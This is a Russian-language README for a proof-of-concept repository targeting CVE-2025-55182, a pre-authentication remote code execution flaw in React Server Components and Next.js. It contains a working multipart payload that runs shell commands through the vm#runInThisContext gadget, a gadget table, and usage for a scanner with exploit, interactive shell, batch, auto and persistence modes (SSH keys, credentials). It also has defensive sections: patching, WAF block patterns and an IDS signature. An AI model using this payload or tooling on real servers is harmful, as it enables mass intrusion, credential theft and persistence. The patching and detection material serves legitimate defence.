CVE-2025-55182: Critical Pre-Authentication RCE in React Server Components

Security Research by schema.cx
"Control is an illusion. It's the systems we build that control us—unless we understand them first."

📋 Содержание

Отказ от ответственности и правовая информация
Краткое резюме
Техническое описание
Затронутые системы
Доказательство концепции
Оценка воздействия
Смягчение и устранение
График ответственного раскрытия
Ссылки
Атрибуция

⚠️ Отказ от ответственности и правовая информация

ДАННЫЙ ИНСТРУМЕНТ ПРЕДНАЗНАЧЕН ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ

СТОП. ПРОЧТИТЕ ЭТО ПЕРЕД ПРОДОЛЖЕНИЕМ.

Этот репозиторий содержит код доказательства концепции для критической уязвимости безопасности. Получая доступ, загружая или используя любые материалы из этого репозитория, вы подтверждаете и соглашаетесь со следующим:

Правовые требования

Необходимо письменное разрешение: Вы ДОЛЖНЫ иметь явное письменное разрешение от владельца системы перед проведением любого тестирования безопасности. Устные соглашения недостаточны.
Ограничения области действия: Тестирование должно быть ограничено системами, явно указанными в вашем разрешении. «Расширение области» не допускается.
Применимые законы: Несанкционированный доступ к компьютерным системам нарушает:
- США: Закон о компьютерном мошенничестве и злоупотреблениях (CFAA), 18 U.S.C. § 1030
- Европейский Союз: Директива 2013/40/EU об атаках на информационные системы
- Великобритания: Закон о компьютерных злоупотреблениях 1990 года
- Австралия: Уголовный кодекс 1995 года, разделы 477-478
- Другие юрисдикции: Аналогичные законы о компьютерных преступлениях действуют во всем мире

Отказ от ответственности

АВТОРЫ И УЧАСТНИКИ ЭТОГО РЕПОЗИТОРИЯ:

НЕ несут ответственности за неправильное использование этого инструмента
НЕ предоставляют никаких гарантий, явных или подразумеваемых
НЕ несут ответственности за любой ущерб, возникший в результате использования или невозможности использования данного программного обеспечения
НЕ поддерживают незаконные действия любого рода

Этические принципы

Никогда не тестируйте без разрешения — даже если вы «просто хотите проверить»
Документируйте всё — ведите подробные журналы всех действий по тестированию
Минимизируйте воздействие — используйте наименее инвазивные методы
Сообщайте ответственно — следуйте практике координированного раскрытия
Уважайте конфиденциальность — не извлекайте и не храните конфиденциальные данные

"The question isn't whether we can exploit the vulnerability. It's whether we should, and for what purpose."

📊 Краткое резюме

CVE-2025-55182 — это критическая уязвимость удаленного выполнения кода (RCE) без предварительной аутентификации, затрагивающая React Server Components в приложениях React 19.x и Next.js 15.x-16.x.

Бизнес-влияние

Эта уязвимость позволяет любому неаутентифицированному злоумышленнику с сетевым доступом к уязвимому приложению выполнять произвольные команды на сервере. Атака не требует учетных данных, взаимодействия с пользователем и может быть полностью автоматизирована. Успешная эксплуатация приводит к:

Полной компрометации сервера — злоумышленники получают полный контроль над базовой системой
Потенциальной утечке данных — доступ к базам данных, переменным окружения, секретам и пользовательским данным
Латеральному перемещению — скомпрометированные серверы могут быть использованы для атак на внутренние сети
Риску для цепочки поставок — могут быть затронуты производственные системы, обслуживающие миллионы пользователей

Оценка серьезности

"People trust systems because they don't understand them. That trust is a vulnerability."

🔬 Техническое описание

Анализ первопричины

Уязвимость существует в реализации протокола Flight от React в функции requireModule. Эта функция использует скобочную нотацию для доступа к экспортам модуля на основе входных данных, контролируемых пользователем, без проверки того, является ли запрашиваемое свойство собственным свойством модуля.

Местоположение уязвимого кода:

react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Функция: requireModule (примерно строки 2546-2558 в v19.0.0)

Уязвимый шаблон:

function requireModule(metadata) {
  var moduleExports = __webpack_require__(metadata[0]);
  // ... async handling ...
  return moduleExports[metadata[2]];  // ← УЯЗВИМО: Отсутствует проверка hasOwnProperty
}

Механизм эксплуатации

Атака использует обход цепочки прототипов JavaScript:

Точка входа: Злоумышленник отправляет вредоносный multipart form-запрос к конечной точке Server Action
Внедрение полезной нагрузки: Поле $ACTION_0:0 содержит JSON с контролируемыми злоумышленником свойствами id (формат модуль#экспорт) и bound (аргументы)
Доступ к прототипу: Указывая такие экспорты, как constructor, или обращаясь к свойствам прототипа, злоумышленники могут ссылаться на встроенные модули Node.js
Гаджеты RCE: Функции, такие как vm.runInThisContext, child_process.execSync или fs.readFileSync, выполняются с аргументами, предоставленными злоумышленником

Вектор атаки

HTTP POST /formaction
    ↓
decodeAction(formData, serverManifest)
    ↓
loadServerReference(manifest, value.id, value.bound)
    ↓
resolveServerReference(config, id)  // Разбирает формат "module#export"
    ↓
requireModule(metadata)
    ↓
moduleExports[metadata[2]]  // Доступ к цепочке прототипов → RCE

Структура полезной нагрузки

POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--

Доступные гаджеты RCE

"Every system has a door. The question is whether you built the lock yourself—or inherited it from someone who never expected visitors."

🎯 Затронутые системы

Уязвимые версии

Продукт	Уязвимые версии	Исправленные версии
React	19.0.0, 19.1.0, 19.1.1, 19.2.0	19.0.1+, 19.1.2+, 19.2.1+
Next.js	15.x, 16.x (использует уязвимый React)	Версии с исправленным React

Предварительные условия для эксплуатации

Включены React Server Components: Приложение использует RSC с Server Actions
Уязвимая версия React: Используется одна из затронутых версий
Сетевой доступ: Злоумышленник может достичь конечных точек Server Action
Опасные модули в бандле: Для прямого RCE модули vm, child_process или fs должны быть в бандле webpack

Требования к платформе

Среда выполнения: Node.js (любая версия, поддерживающая React 19)
Фреймворк: Маршрутизатор приложений Next.js или пользовательская реализация RSC
Не требуется дополнительной конфигурации для уязвимости

Вероятность опасных модулей

🔧 Доказательство концепции

Инструмент сканера

Этот репозиторий включает в себя комплексный сканер безопасности на Python с несколькими режимами работы.

Структура репозитория

CVE-2025-55182-poc/
├── README.md                    # Этот файл
├── scanner/
│   ├── __init__.py             # Инициализация пакета Python
│   ├── scanner.py              # Главный унифицированный сканер (6 режимов)
│   ├── readme.md               # Подробная документация сканера
│   ├── requirements.txt        # Зависимости Python
│   └── docs/
│       ├── TECHNICAL-ANALYSIS.md    # Глубокое погружение в уязвимость
│       └── VULNERABLE-PACKAGES.md   # Версии затронутых пакетов

Установка:

cd scanner
pip install -r requirements.txt

Примеры базового использования

Сканирование уязвимости:

# Проверить, уязвима ли цель
python scanner.py scan https://target.com

Обнаружение гаджетов:

# Определить доступные гаджеты RCE
python scanner.py exploit https://target.com --detect-gadgets

Выполнение команды (с авторизацией):

# Выполнить команду на уязвимой цели
python scanner.py exploit https://target.com -c "whoami"

Пакетное тестирование:

# Протестировать несколько целей из файла
python scanner.py batch -f targets.txt -o results.json

Автоматическое сканирование с проверкой:

# Комплексное сканирование с проверкой эксплуатации
python scanner.py auto -f targets.txt -o report.txt

Ожидаемый вывод

Уязвимая цель:

[+] УЯЗВИМ к CVE-2025-55182!
    Фреймворк: Next.js
    Версия: 15.1.0
    Уверенность: ВЫСОКАЯ
    
Доступные гаджеты:
  ✓ vm#runInThisContext
  ✓ child_process#execSync
  ✓ fs#readFileSync
  ✓ fs#writeFileSync

Исправленная цель:

[-] Не уязвим или невозможно определить
    Обнаружен фреймворк: Next.js
    Версия: 15.2.0 (исправлено)

Режимы сканера

Возможности

Обнаружение фреймворка: Идентифицирует приложения Next.js/React перед эксплуатацией
Обнаружение WAF/CDN: Распознаёт Cloudflare, Akamai, Incapsula, AWS WAF, Azure WAF и другие
Множество гаджетов RCE: Пути эксплуатации vm, child_process, fs, module
Двухшаговое RCE: Альтернативная эксплуатация через fs#writeFileSync + module#_load
Верификация: Подтверждает эксплойты доказательством выполнения
Предотвращение ложных срабатываний: Умная фильтрация ответов HTML/WAF
Отчетность: Форматы вывода: текст, JSON и HTML

Полную документацию см. в scanner/readme.md.

"A tool is only as dangerous as the intent behind it. In the right hands, a weapon becomes a shield."

💥 Оценка воздействия

Влияние на конфиденциальность: ВЫСОКОЕ

Переменные окружения: Учетные данные базы данных, ключи API, секреты
Исходный код: Логика приложения, проприетарные алгоритмы
Пользовательские данные: Личная информация, токены аутентификации
Системные файлы: /etc/passwd, ключи SSH, облачные учетные данные
Внутренние сети: Точка опоры для дальнейших атак

Влияние на целостность: ВЫСОКОЕ

Инъекция кода: Бэкдоры в файлах приложения
Манипуляция данными: Модификации базы данных
Изменение конфигурации: Настройки безопасности, контроль доступа
Механизмы сохранения: Задачи cron, скрипты запуска, ключи SSH

Влияние на доступность: ВЫСОКОЕ

Нарушение обслуживания: Завершение процессов, истощение ресурсов
Уничтожение данных: Удаление файлов, дроп баз данных
Развертывание программ-вымогателей: Шифрование критических файлов
Полная компрометация системы: Полный административный контроль

Сценарии атак

Утечка данных: Злоумышленник читает файлы .env, содержащие учетные данные базы данных, извлекает данные клиентов
Установка криптомайнера: Злоумышленник записывает скрипт майнинга, добавляет задачу cron для сохранения
Атака на цепочку поставок: Злоумышленник модифицирует исходный код в производственной среде, обслуживая вредоносный контент для пользователей
Латеральное перемещение: Скомпрометированный сервер используется для атак на внутренние базы данных, API и сервисы
Программа-вымогатель: Злоумышленник шифрует файлы приложения, требует оплату за ключи дешифрования

🛡️ Смягчение и устранение

Немедленные действия (Сделать сейчас)

Немедленно обновить React
```
npm update react react-dom react-server-dom-webpack
```
Целевые версии: 19.0.1+, 19.1.2+ или 19.2.1+
Проверить применение патча
```
npm ls react
```
Убедитесь, что в дереве зависимостей не осталось уязвимых версий

Правила WAF/Файрвола

Блокировать запросы, содержащие следующие шаблоны:

# Шаблоны тела запроса для блокировки
#constructor
#__proto__
#prototype
vm#runInThisContext
vm#runInNewContext
child_process#execSync
child_process#execFileSync
child_process#spawnSync
module#_load
fs#readFileSync
fs#writeFileSync

Усиление конфигурации Next.js

Исключить опасные пакеты из бандлинга webpack:

// next.config.js
module.exports = {
  serverExternalPackages: [
    'sharp',
    'puppeteer',
    'execa',
    'shelljs',
    'vm2'
  ]
}

Обнаружение и мониторинг

Шаблоны журналов для мониторинга:

Необычные поля $ACTION_REF_ или $ACTION_ID_ в теле запроса
POST-запросы к конечным точкам /api/* с данными multipart form, содержащими JSON
Сообщения об ошибках, ссылающиеся на constructor, prototype или неожиданный доступ к модулям

Сигнатуры обнаружения вторжений:

alert http any any -> $HOME_NET any (
  msg:"Попытка эксплуатации CVE-2025-55182";
  content:"$ACTION_";
  content:"#constructor"; distance:0;
  sid:2025551820; rev:1;
)

Долгосрочные рекомендации

Аудит зависимостей: Регулярные сканирования с помощью npm audit, Snyk или аналогичных инструментов
Обновления безопасности: Автоматические обновления зависимостей через Dependabot или Renovate
Проверка ввода: Никогда не доверяйте вводу пользователя в шаблонах доступа к свойствам
Минимальные привилегии: Запускайте приложения с минимально необходимыми разрешениями
Сегментация сети: Изолируйте производственные системы от внутренних сетей

"Patching isn't just about fixing what's broken. It's about closing the doors you didn't know were open."

📅 График ответственного раскрытия

Это раскрытие соответствует Руководству по раскрытию уязвимостей CERT/CC и стандартам ISO/IEC 29147:2018 для координированного раскрытия уязвимостей.

📚 Ссылки

Официальные ресурсы

Запись CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55182
Запись NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-55182

Уведомления вендора

Уведомления по безопасности React: https://github.com/facebook/react/security/advisories
Безопасность Next.js: https://nextjs.org/docs/security

Связанные исследования

Дополнительное чтение

🏆 Атрибуция

Оригинальное исследование

Это доказательство концепции разработано командой исследователей безопасности schema.cx.

Репозиторий: https://github.com/ejpir/CVE-2025-55182-poc

Благодарности

Мы хотели бы поблагодарить:

Команды безопасности React и Next.js за быструю реакцию
Сообщество исследователей безопасности за совместный анализ
MITRE за координацию CVE

📜 Лицензия

Этот проект выпущен только для образовательных и авторизованных целей исследования безопасности.

Используя данное программное обеспечение, вы соглашаетесь:

Использовать его только в системах, которые вам принадлежат или на тестирование которых у вас есть явное разрешение
Следовать практике ответственного раскрытия
Не использовать его в злонамеренных целях
Принять всю ответственность за свои действия

"We don't hack to destroy. We hack to understand. And understanding is the first step to building something better."

schema.cx — Исследование безопасности для более безопасного цифрового мира

Базовая оценка CVSS v3.1	10.0 CRITICAL
Вектор атаки	Сеть
Сложность атаки	Низкая
Необходимые привилегии	Нет
Взаимодействие с пользователем	Нет
Влияние (C/I/A)	Высокое / Высокое / Высокое

`vm#runInThisContext`	vm	Выполнить JS в текущем контексте	Прямое RCE
`vm#runInNewContext`	vm	Выполнить JS в песочнице (возможен выход)	Прямое RCE
`child_process#execSync`	child_process	Выполнить команды оболочки	Прямое RCE
`child_process#spawnSync`	child_process	Запустить процессы	Прямое RCE
`fs#readFileSync`	fs	Чтение произвольных файлов	Эксфильтрация данных
`fs#writeFileSync`	fs	Запись произвольных файлов	Сохранение/Бэкдор
`module#_load`	module	Загрузка JS-модулей (двухшаговое RCE)	Непрямое RCE

`fs`	Очень высокая	fs-extra, gray-matter, multer, sharp, chokidar
`child_process`	Средне-высокая	execa, shelljs, puppeteer, sharp, генераторы PDF
`vm`	Низко-средняя	ejs, pug, шаблонизаторы
`module`	Очень низкая	tsx, ts-node (обычно только для CLI)

`scan`	Обнаружение уязвимости и снятие отпечатков
`exploit`	Контролируемая эксплуатация с конкретными гаджетами
`shell`	Интерактивная командная оболочка на уязвимых целях
`batch`	Тестирование нескольких URL со статистикой
`auto`	Автоматическое сканирование множества целей с проверкой
`persist`	Демонстрации атак сохранения (ключи SSH, учетные данные)

Обнаружение	Информация ожидается
Уведомление вендора	Информация ожидается
Подтверждение вендора	Информация ожидается
Разработка патча	Информация ожидается
Выпуск патча	React 19.0.1, 19.1.2, 19.2.1
Публичное раскрытие	Информация ожидается
Назначение CVE	CVE-2025-55182

Популярное

CVE-2025-55182-POC-SCANNER